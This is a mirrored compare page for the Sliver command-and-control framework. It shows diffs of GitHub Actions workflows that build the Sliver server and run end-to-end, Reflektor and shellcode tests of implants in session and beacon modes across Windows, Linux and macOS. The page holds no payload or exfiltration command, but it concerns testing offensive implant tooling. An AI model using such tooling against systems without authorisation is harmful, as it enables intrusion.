mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-10 01:41:29 -10:00
Compare commits
61
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
0017fd2fe8 | ||
|
|
e44111b6b4 | ||
|
|
aa2dce510a | ||
|
|
5e6acde3c7 | ||
|
|
99a8d3f859 | ||
|
|
fc15a47b1e | ||
|
|
8b32b6525f | ||
|
|
9e0fafb785 | ||
|
|
12ebffb16c | ||
|
|
b539762de7 | ||
|
|
e71af809d4 | ||
|
|
f3ffa3323b | ||
|
|
778331d474 | ||
|
|
8d259577af | ||
|
|
aa108a66a8 | ||
|
|
44e5464950 | ||
|
|
1381200b33 | ||
|
|
f81b250a04 | ||
|
|
8b4ee5f5c5 | ||
|
|
68cb1363e8 | ||
|
|
2344a3ae50 | ||
|
|
8cec5164b7 | ||
|
|
be50c25cb2 | ||
|
|
ee2cc83aa1 | ||
|
|
8e62e2dcd9 | ||
|
|
1347059639 | ||
|
|
29efea561c | ||
|
|
82deca2b0f | ||
|
|
808b3b6408 | ||
|
|
eba10ebbfc | ||
|
|
13903e46a8 | ||
|
|
8aaaa583bd | ||
|
|
4b428065e2 | ||
|
|
578f9a28d0 | ||
|
|
ce2f494f96 | ||
|
|
c1c36491a6 | ||
|
|
a5c3482c6d | ||
|
|
b428274515 | ||
|
|
5dc6adae47 | ||
|
|
264b00f3c7 | ||
|
|
ada79c8ecd | ||
|
|
edd4c3d097 | ||
|
|
38f84a4f6f | ||
|
|
aee0958e99 | ||
|
|
23c067982a | ||
|
|
7e917da3ac | ||
|
|
674b49f41f | ||
|
|
4ba04df621 | ||
|
|
3274382bc7 | ||
|
|
069d57b5e5 | ||
|
|
e023211c02 | ||
|
|
a48006640d | ||
|
|
764fd0eddf | ||
|
|
9c9943c94c | ||
|
|
2e9b52371e | ||
|
|
6d6df68972 | ||
|
|
7f863d3172 | ||
|
|
6ecb379bce | ||
|
|
db45c4aaf9 | ||
|
|
b5d3d0bad6 | ||
|
|
528b04427a |
No files matched your search
@@ -0,0 +1,449 @@
|
||||
name: Comprehensive e2e Tests
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
concurrency:
|
||||
group: comprehensive-e2e-${{ github.ref }}
|
||||
cancel-in-progress: false
|
||||
|
||||
jobs:
|
||||
authorize:
|
||||
name: Require repository administrator
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 5
|
||||
steps:
|
||||
- name: Check actor repository permission
|
||||
uses: actions/github-script@v9
|
||||
env:
|
||||
REQUESTING_ACTOR: ${{ github.triggering_actor }}
|
||||
with:
|
||||
script: |
|
||||
const actor = process.env.REQUESTING_ACTOR || context.actor;
|
||||
const { data } = await github.rest.repos.getCollaboratorPermissionLevel({
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
username: actor,
|
||||
});
|
||||
core.info(`${actor} has repository permission ${data.permission} (${data.role_name})`);
|
||||
if (data.permission !== "admin") {
|
||||
core.setFailed("Comprehensive e2e Tests may only be run by repository administrators");
|
||||
}
|
||||
|
||||
darwin:
|
||||
name: comprehensive-e2e-darwin-${{ matrix.goarch }}
|
||||
needs: authorize
|
||||
runs-on: ${{ matrix.runner }}
|
||||
timeout-minutes: 360
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- runner: macos-15-intel
|
||||
goarch: amd64
|
||||
server_arch: amd64
|
||||
- runner: macos-15
|
||||
goarch: arm64
|
||||
server_arch: arm64
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Prepare coverage artifact
|
||||
run: |
|
||||
mkdir -p e2e-results
|
||||
printf 'darwin/%s\n' '${{ matrix.goarch }}' > e2e-results/target-darwin-${{ matrix.goarch }}.txt
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache: true
|
||||
|
||||
- name: Download Sliver build assets
|
||||
run: go run -buildvcs=false -mod=vendor ./util/cmd/assets
|
||||
|
||||
- name: Build unmodified Sliver server
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.server_arch }}
|
||||
GOOS: darwin
|
||||
run: >-
|
||||
go build -buildvcs=false -mod=vendor -trimpath -tags go_sqlite,server
|
||||
-o sliver-server ./server
|
||||
|
||||
- name: Compile comprehensive E2E driver
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.goarch }}
|
||||
GOOS: darwin
|
||||
run: >-
|
||||
go test -c -buildvcs=false -mod=vendor -trimpath -tags client,go_sqlite
|
||||
-o sliver-comprehensive-e2e ./test/e2e
|
||||
|
||||
- name: Run comprehensive E2E suite
|
||||
run: >-
|
||||
./sliver-comprehensive-e2e
|
||||
-test.v
|
||||
-test.run=^TestComprehensiveE2E$
|
||||
-test.timeout=0
|
||||
-repo .
|
||||
-server ./sliver-server
|
||||
-server-arch ${{ matrix.server_arch }}
|
||||
-target-os darwin
|
||||
-target-arch ${{ matrix.goarch }}
|
||||
-results ./e2e-results
|
||||
-transports mtls,wg,http
|
||||
-implant-modes session,beacon
|
||||
-beacon-interval 10s
|
||||
|
||||
- name: Upload target coverage
|
||||
if: ${{ always() }}
|
||||
uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: comprehensive-e2e-target-darwin-${{ matrix.goarch }}
|
||||
path: e2e-results
|
||||
if-no-files-found: error
|
||||
overwrite: true
|
||||
retention-days: 14
|
||||
|
||||
linux-native:
|
||||
name: comprehensive-e2e-linux-${{ matrix.goarch }}
|
||||
needs: authorize
|
||||
runs-on: ${{ matrix.runner }}
|
||||
timeout-minutes: 360
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- runner: ubuntu-24.04
|
||||
goarch: amd64
|
||||
server_arch: amd64
|
||||
- runner: ubuntu-24.04-arm
|
||||
goarch: arm64
|
||||
server_arch: arm64
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Prepare coverage artifact
|
||||
run: |
|
||||
mkdir -p e2e-results
|
||||
printf 'linux/%s\n' '${{ matrix.goarch }}' > e2e-results/target-linux-${{ matrix.goarch }}.txt
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache: true
|
||||
|
||||
- name: Download Sliver build assets
|
||||
run: go run -buildvcs=false -mod=vendor ./util/cmd/assets
|
||||
|
||||
- name: Build unmodified Sliver server
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.server_arch }}
|
||||
GOOS: linux
|
||||
run: >-
|
||||
go build -buildvcs=false -mod=vendor -trimpath -tags go_sqlite,server
|
||||
-o sliver-server ./server
|
||||
|
||||
- name: Compile comprehensive E2E driver
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.goarch }}
|
||||
GOOS: linux
|
||||
run: >-
|
||||
go test -c -buildvcs=false -mod=vendor -trimpath -tags client,go_sqlite
|
||||
-o sliver-comprehensive-e2e ./test/e2e
|
||||
|
||||
- name: Run comprehensive E2E suite
|
||||
run: >-
|
||||
./sliver-comprehensive-e2e
|
||||
-test.v
|
||||
-test.run=^TestComprehensiveE2E$
|
||||
-test.timeout=0
|
||||
-repo .
|
||||
-server ./sliver-server
|
||||
-server-arch ${{ matrix.server_arch }}
|
||||
-target-os linux
|
||||
-target-arch ${{ matrix.goarch }}
|
||||
-results ./e2e-results
|
||||
-transports mtls,wg,http
|
||||
-implant-modes session,beacon
|
||||
-beacon-interval 10s
|
||||
|
||||
- name: Upload target coverage
|
||||
if: ${{ always() }}
|
||||
uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: comprehensive-e2e-target-linux-${{ matrix.goarch }}
|
||||
path: e2e-results
|
||||
if-no-files-found: error
|
||||
overwrite: true
|
||||
retention-days: 14
|
||||
|
||||
linux-386:
|
||||
name: comprehensive-e2e-linux-386
|
||||
needs: authorize
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 360
|
||||
env:
|
||||
CONTAINER_NAME: sliver-comprehensive-e2e-linux-386-${{ github.run_id }}-${{ github.run_attempt }}
|
||||
IMAGE_NAME: sliver-comprehensive-e2e-linux-386:${{ github.run_id }}-${{ github.run_attempt }}
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Prepare coverage artifact
|
||||
run: |
|
||||
mkdir -p e2e-results
|
||||
printf 'linux/386\n' > e2e-results/target-linux-386.txt
|
||||
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v3
|
||||
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
|
||||
- name: Build linux/386 E2E image
|
||||
run: |
|
||||
set -euo pipefail
|
||||
go_version="$(awk '$1 == "go" { print $2; exit }' go.mod)"
|
||||
docker buildx build \
|
||||
--load \
|
||||
--platform linux/386 \
|
||||
--build-arg "GO_VERSION=${go_version}" \
|
||||
--file test/e2e/Dockerfile.linux-386 \
|
||||
--tag "${IMAGE_NAME}" \
|
||||
.
|
||||
|
||||
- name: Run comprehensive E2E suite
|
||||
run: >-
|
||||
docker run
|
||||
--name "${CONTAINER_NAME}"
|
||||
--platform linux/386
|
||||
--volume "${PWD}/e2e-results:/results"
|
||||
"${IMAGE_NAME}"
|
||||
|
||||
- name: Clean up linux/386 Docker resources
|
||||
if: ${{ always() }}
|
||||
run: |
|
||||
docker rm --force "${CONTAINER_NAME}" 2>/dev/null || true
|
||||
docker image rm --force "${IMAGE_NAME}" 2>/dev/null || true
|
||||
docker buildx prune --all --force >/dev/null 2>&1 || true
|
||||
|
||||
- name: Upload target coverage
|
||||
if: ${{ always() }}
|
||||
uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: comprehensive-e2e-target-linux-386
|
||||
path: e2e-results
|
||||
if-no-files-found: error
|
||||
overwrite: true
|
||||
retention-days: 14
|
||||
|
||||
windows:
|
||||
name: comprehensive-e2e-windows-${{ matrix.goarch }}
|
||||
needs: authorize
|
||||
runs-on: ${{ matrix.runner }}
|
||||
timeout-minutes: 360
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- runner: windows-2022
|
||||
goarch: 386
|
||||
server_arch: amd64
|
||||
- runner: windows-2022
|
||||
goarch: amd64
|
||||
server_arch: amd64
|
||||
- runner: windows-11-arm
|
||||
goarch: arm64
|
||||
server_arch: arm64
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Prepare coverage artifact
|
||||
run: |
|
||||
mkdir -p e2e-results
|
||||
printf 'windows/%s\n' '${{ matrix.goarch }}' > e2e-results/target-windows-${{ matrix.goarch }}.txt
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache: true
|
||||
|
||||
- name: Download Sliver build assets
|
||||
run: go run -buildvcs=false -mod=vendor ./util/cmd/assets
|
||||
|
||||
- name: Build unmodified Sliver server
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.server_arch }}
|
||||
GOOS: windows
|
||||
run: >-
|
||||
go build -buildvcs=false -mod=vendor -trimpath -tags go_sqlite,server
|
||||
-o sliver-server.exe ./server
|
||||
|
||||
- name: Compile comprehensive E2E driver
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.goarch }}
|
||||
GOOS: windows
|
||||
run: >-
|
||||
go test -c -buildvcs=false -mod=vendor -trimpath -tags client,go_sqlite
|
||||
-o sliver-comprehensive-e2e.exe ./test/e2e
|
||||
|
||||
- name: Run comprehensive E2E suite
|
||||
run: >-
|
||||
./sliver-comprehensive-e2e.exe
|
||||
-test.v
|
||||
-test.run=^TestComprehensiveE2E$
|
||||
-test.timeout=0
|
||||
-repo .
|
||||
-server ./sliver-server.exe
|
||||
-server-arch ${{ matrix.server_arch }}
|
||||
-target-os windows
|
||||
-target-arch ${{ matrix.goarch }}
|
||||
-results ./e2e-results
|
||||
-transports mtls,wg,http
|
||||
-implant-modes session,beacon
|
||||
-beacon-interval 10s
|
||||
|
||||
- name: Upload target coverage
|
||||
if: ${{ always() }}
|
||||
uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: comprehensive-e2e-target-windows-${{ matrix.goarch }}
|
||||
path: e2e-results
|
||||
if-no-files-found: error
|
||||
overwrite: true
|
||||
retention-days: 14
|
||||
|
||||
aggregate-coverage:
|
||||
name: Aggregate comprehensive E2E coverage
|
||||
needs:
|
||||
- authorize
|
||||
- darwin
|
||||
- linux-native
|
||||
- linux-386
|
||||
- windows
|
||||
if: ${{ always() && needs.authorize.result == 'success' }}
|
||||
outputs:
|
||||
command_coverage_markdown: ${{ steps.publish_command_coverage.outputs.command_coverage_markdown }}
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 30
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache: true
|
||||
|
||||
- name: Download target coverage
|
||||
uses: actions/download-artifact@v8
|
||||
with:
|
||||
pattern: comprehensive-e2e-target-*
|
||||
path: coverage-input
|
||||
merge-multiple: true
|
||||
|
||||
- name: Prepare aggregate artifact
|
||||
run: |
|
||||
mkdir -p coverage-input coverage-summary
|
||||
printf 'Comprehensive E2E coverage aggregate\n' > coverage-summary/README.txt
|
||||
|
||||
- name: Aggregate coverage and enforce required cells
|
||||
id: aggregate
|
||||
continue-on-error: true
|
||||
run: >-
|
||||
go run -buildvcs=false -mod=vendor ./test/e2e/report
|
||||
-input coverage-input
|
||||
-output coverage-summary
|
||||
|
||||
- name: Publish command coverage table
|
||||
id: publish_command_coverage
|
||||
if: ${{ always() }}
|
||||
run: |
|
||||
detailed_report="coverage-summary/coverage-summary.md"
|
||||
report="coverage-summary/command-coverage.md"
|
||||
if [[ ! -s "${report}" ]]; then
|
||||
printf 'Command coverage report is missing or empty: %s\n' "${report}" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
delimiter="COMPREHENSIVE_E2E_COMMAND_COVERAGE_EOF"
|
||||
if grep -Fxq "${delimiter}" "${report}"; then
|
||||
printf 'Command coverage report contains the reserved output delimiter: %s\n' "${delimiter}" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
{
|
||||
printf 'command_coverage_markdown<<%s\n' "${delimiter}"
|
||||
cat "${report}"
|
||||
printf '%s\n' "${delimiter}"
|
||||
} >> "${GITHUB_OUTPUT}"
|
||||
|
||||
if [[ -f "${detailed_report}" ]]; then
|
||||
cat "${detailed_report}" >> "${GITHUB_STEP_SUMMARY}"
|
||||
fi
|
||||
printf '\n## Command coverage by OS/architecture/transport\n\n' >> "${GITHUB_STEP_SUMMARY}"
|
||||
cat "${report}" >> "${GITHUB_STEP_SUMMARY}"
|
||||
|
||||
- name: Upload aggregate coverage
|
||||
if: ${{ always() }}
|
||||
uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: comprehensive-e2e-coverage-summary
|
||||
path: coverage-summary
|
||||
if-no-files-found: error
|
||||
overwrite: true
|
||||
retention-days: 30
|
||||
|
||||
- name: Fail on failed or not-run coverage
|
||||
if: ${{ steps.aggregate.outcome != 'success' }}
|
||||
run: exit 1
|
||||
|
||||
reflektor:
|
||||
name: Existing Reflektor test matrix
|
||||
needs: authorize
|
||||
uses: ./.github/workflows/reflektor-tests.yml
|
||||
|
||||
shellcode:
|
||||
name: Shellcode E2E test matrix
|
||||
needs: authorize
|
||||
uses: ./.github/workflows/shellcode-tests.yml
|
||||
@@ -20,7 +20,6 @@ on:
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
pull-requests: read
|
||||
|
||||
jobs:
|
||||
lint:
|
||||
@@ -41,6 +40,8 @@ jobs:
|
||||
steps:
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Go 1.26.6
|
||||
uses: actions/setup-go@v6
|
||||
@@ -51,6 +52,5 @@ jobs:
|
||||
uses: golangci/golangci-lint-action@v9
|
||||
with:
|
||||
version: v2.12.2
|
||||
# Keep legacy findings visible without making them blockers.
|
||||
only-new-issues: true
|
||||
args: ./client/... ./server/... ./util/... ./protobuf/... ./docs ./implant/...
|
||||
# Gate only findings introduced since the event base revision.
|
||||
args: --new-from-rev=${{ github.event.pull_request.base.sha || github.event.before }} ./client/... ./server/... ./util/... ./protobuf/... ./docs ./implant/...
|
||||
@@ -0,0 +1,232 @@
|
||||
name: Reflektor Integration Test Matrix
|
||||
|
||||
on:
|
||||
workflow_call:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths:
|
||||
- "implant/**"
|
||||
- "test/reflektor/**"
|
||||
- ".github/workflows/reflektor-tests.yml"
|
||||
pull_request:
|
||||
paths:
|
||||
- "implant/**"
|
||||
- "test/reflektor/**"
|
||||
- ".github/workflows/reflektor-tests.yml"
|
||||
types:
|
||||
- opened
|
||||
- reopened
|
||||
- synchronize
|
||||
- ready_for_review
|
||||
workflow_dispatch:
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
darwin:
|
||||
name: reflektor-darwin-${{ matrix.goarch }}
|
||||
runs-on: ${{ matrix.runner }}
|
||||
timeout-minutes: 180
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- runner: macos-15-intel
|
||||
goarch: amd64
|
||||
server_arch: amd64
|
||||
- runner: macos-15
|
||||
goarch: arm64
|
||||
server_arch: arm64
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache: true
|
||||
|
||||
- name: Download Sliver build assets
|
||||
run: go run -mod=vendor ./util/cmd/assets
|
||||
|
||||
- name: Build Sliver server
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.server_arch }}
|
||||
GOOS: darwin
|
||||
run: go build -mod=vendor -trimpath -tags go_sqlite,server -o sliver-server ./server
|
||||
|
||||
- name: Build Reflektor integration driver
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.goarch }}
|
||||
GOOS: darwin
|
||||
run: go build -mod=vendor -trimpath -tags client,go_sqlite -o sliver-reflektor-e2e ./test/reflektor
|
||||
|
||||
- name: Load Sliver with Reflektor
|
||||
run: >-
|
||||
./sliver-reflektor-e2e
|
||||
-repo .
|
||||
-server ./sliver-server
|
||||
-target-os darwin
|
||||
-target-arch ${{ matrix.goarch }}
|
||||
|
||||
linux-native:
|
||||
name: reflektor-linux-${{ matrix.goarch }}-native
|
||||
runs-on: ${{ matrix.runner }}
|
||||
timeout-minutes: 180
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- runner: ubuntu-24.04
|
||||
goarch: amd64
|
||||
server_arch: amd64
|
||||
- runner: ubuntu-24.04-arm
|
||||
goarch: arm64
|
||||
server_arch: arm64
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache: true
|
||||
|
||||
- name: Download Sliver build assets
|
||||
run: go run -mod=vendor ./util/cmd/assets
|
||||
|
||||
- name: Build Sliver server
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.server_arch }}
|
||||
GOOS: linux
|
||||
run: go build -mod=vendor -trimpath -tags go_sqlite,server -o sliver-server ./server
|
||||
|
||||
- name: Build Reflektor integration driver
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.goarch }}
|
||||
GOOS: linux
|
||||
run: go build -mod=vendor -trimpath -tags client,go_sqlite -o sliver-reflektor-e2e ./test/reflektor
|
||||
|
||||
- name: Load Sliver with Reflektor
|
||||
run: >-
|
||||
./sliver-reflektor-e2e
|
||||
-repo .
|
||||
-server ./sliver-server
|
||||
-target-os linux
|
||||
-target-arch ${{ matrix.goarch }}
|
||||
|
||||
linux-386:
|
||||
name: reflektor-linux-386-docker
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 180
|
||||
env:
|
||||
CONTAINER_NAME: sliver-reflektor-linux-386-${{ github.run_id }}-${{ github.run_attempt }}
|
||||
IMAGE_NAME: sliver-reflektor-linux-386:${{ github.run_id }}-${{ github.run_attempt }}
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v3
|
||||
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
|
||||
- name: Build linux/386 test image
|
||||
run: |
|
||||
set -euo pipefail
|
||||
go_version="$(awk '$1 == "go" { print $2; exit }' go.mod)"
|
||||
docker buildx build \
|
||||
--load \
|
||||
--platform linux/386 \
|
||||
--build-arg "GO_VERSION=${go_version}" \
|
||||
--file test/reflektor/Dockerfile.linux-386 \
|
||||
--tag "${IMAGE_NAME}" \
|
||||
.
|
||||
docker buildx prune --all --force
|
||||
|
||||
- name: Load Sliver with Reflektor
|
||||
run: >-
|
||||
docker run
|
||||
--name "${CONTAINER_NAME}"
|
||||
--platform linux/386
|
||||
"${IMAGE_NAME}"
|
||||
|
||||
- name: Clean up linux/386 Docker resources
|
||||
if: ${{ always() }}
|
||||
run: |
|
||||
docker rm --force "${CONTAINER_NAME}" 2>/dev/null || true
|
||||
docker image rm --force "${IMAGE_NAME}" 2>/dev/null || true
|
||||
docker buildx prune --all --force >/dev/null 2>&1 || true
|
||||
|
||||
windows:
|
||||
name: reflektor-windows-${{ matrix.goarch }}
|
||||
runs-on: ${{ matrix.runner }}
|
||||
timeout-minutes: 180
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- runner: windows-2022
|
||||
goarch: amd64
|
||||
server_arch: amd64
|
||||
- runner: windows-2022
|
||||
goarch: 386
|
||||
server_arch: amd64
|
||||
- runner: windows-11-arm
|
||||
goarch: arm64
|
||||
server_arch: amd64
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache: true
|
||||
|
||||
- name: Download Sliver build assets
|
||||
run: go run -mod=vendor ./util/cmd/assets
|
||||
|
||||
- name: Build Sliver server
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.server_arch }}
|
||||
GOOS: windows
|
||||
run: go build -mod=vendor -trimpath -tags go_sqlite,server -o sliver-server.exe ./server
|
||||
|
||||
- name: Build Reflektor integration driver
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.goarch }}
|
||||
GOOS: windows
|
||||
run: go build -mod=vendor -trimpath -tags client,go_sqlite -o sliver-reflektor-e2e.exe ./test/reflektor
|
||||
|
||||
- name: Load Sliver with Reflektor
|
||||
run: >-
|
||||
./sliver-reflektor-e2e.exe
|
||||
-repo .
|
||||
-server ./sliver-server.exe
|
||||
-target-os windows
|
||||
-target-arch ${{ matrix.goarch }}
|
||||
@@ -0,0 +1,207 @@
|
||||
name: Shellcode E2E Test Matrix
|
||||
|
||||
on:
|
||||
workflow_call:
|
||||
outputs:
|
||||
shellcode_coverage_markdown:
|
||||
description: Shellcode E2E coverage table in Markdown
|
||||
value: ${{ jobs.aggregate.outputs.shellcode_coverage_markdown }}
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
target:
|
||||
name: shellcode-e2e-${{ matrix.target_os }}-${{ matrix.target_arch }}
|
||||
runs-on: ${{ matrix.runner }}
|
||||
timeout-minutes: 360
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- runner: macos-26
|
||||
target_os: darwin
|
||||
target_arch: arm64
|
||||
server_os: darwin
|
||||
server_arch: arm64
|
||||
server_executable: ./sliver-server
|
||||
test_executable: ./sliver-shellcode-e2e
|
||||
- runner: ubuntu-24.04
|
||||
target_os: linux
|
||||
target_arch: amd64
|
||||
server_os: linux
|
||||
server_arch: amd64
|
||||
server_executable: ./sliver-server
|
||||
test_executable: ./sliver-shellcode-e2e
|
||||
- runner: ubuntu-24.04-arm
|
||||
target_os: linux
|
||||
target_arch: arm64
|
||||
server_os: linux
|
||||
server_arch: arm64
|
||||
server_executable: ./sliver-server
|
||||
test_executable: ./sliver-shellcode-e2e
|
||||
- runner: windows-2022
|
||||
target_os: windows
|
||||
target_arch: "386"
|
||||
server_os: windows
|
||||
server_arch: amd64
|
||||
server_executable: ./sliver-server.exe
|
||||
test_executable: ./sliver-shellcode-e2e.exe
|
||||
- runner: windows-2022
|
||||
target_os: windows
|
||||
target_arch: amd64
|
||||
server_os: windows
|
||||
server_arch: amd64
|
||||
server_executable: ./sliver-server.exe
|
||||
test_executable: ./sliver-shellcode-e2e.exe
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Prepare target artifact
|
||||
run: |
|
||||
mkdir -p shellcode-results
|
||||
printf '%s/%s\n' \
|
||||
'${{ matrix.target_os }}' \
|
||||
'${{ matrix.target_arch }}' \
|
||||
> 'shellcode-results/target-${{ matrix.target_os }}-${{ matrix.target_arch }}.txt'
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache: true
|
||||
|
||||
- name: Download Sliver build assets
|
||||
run: go run -buildvcs=false -mod=vendor -trimpath ./util/cmd/assets
|
||||
|
||||
- name: Build unmodified Sliver server
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.server_arch }}
|
||||
GOOS: ${{ matrix.server_os }}
|
||||
run: >-
|
||||
go build -buildvcs=false -mod=vendor -trimpath -tags go_sqlite,server
|
||||
-o ${{ matrix.server_executable }} ./server
|
||||
|
||||
- name: Compile shellcode E2E client
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.target_arch }}
|
||||
GOOS: ${{ matrix.target_os }}
|
||||
run: >-
|
||||
go test -c -buildvcs=false -mod=vendor -trimpath -tags client,go_sqlite
|
||||
-o ${{ matrix.test_executable }} ./test/e2e
|
||||
|
||||
- name: Run shellcode generation and execution tests
|
||||
run: >-
|
||||
${{ matrix.test_executable }}
|
||||
-test.v
|
||||
-test.run=^TestShellcodeE2E$
|
||||
-test.timeout=0
|
||||
-repo .
|
||||
-server ${{ matrix.server_executable }}
|
||||
-server-arch ${{ matrix.server_arch }}
|
||||
-target-os ${{ matrix.target_os }}
|
||||
-target-arch ${{ matrix.target_arch }}
|
||||
-results ./shellcode-results
|
||||
-transports mtls,wg,http
|
||||
-implant-modes session,beacon
|
||||
-beacon-interval 10s
|
||||
|
||||
- name: Upload target shellcode results
|
||||
if: ${{ always() }}
|
||||
uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: shellcode-e2e-target-${{ matrix.target_os }}-${{ matrix.target_arch }}
|
||||
path: shellcode-results
|
||||
if-no-files-found: error
|
||||
overwrite: true
|
||||
retention-days: 14
|
||||
|
||||
aggregate:
|
||||
name: Aggregate shellcode E2E coverage
|
||||
needs: target
|
||||
if: ${{ always() }}
|
||||
outputs:
|
||||
shellcode_coverage_markdown: ${{ steps.publish_shellcode_coverage.outputs.shellcode_coverage_markdown }}
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 30
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache: true
|
||||
|
||||
- name: Prepare aggregate artifact
|
||||
run: |
|
||||
mkdir -p shellcode-input shellcode-summary
|
||||
printf 'Shellcode E2E coverage aggregate\n' > shellcode-summary/README.txt
|
||||
|
||||
- name: Download target shellcode results
|
||||
continue-on-error: true
|
||||
uses: actions/download-artifact@v8
|
||||
with:
|
||||
pattern: shellcode-e2e-target-*
|
||||
path: shellcode-input
|
||||
merge-multiple: true
|
||||
|
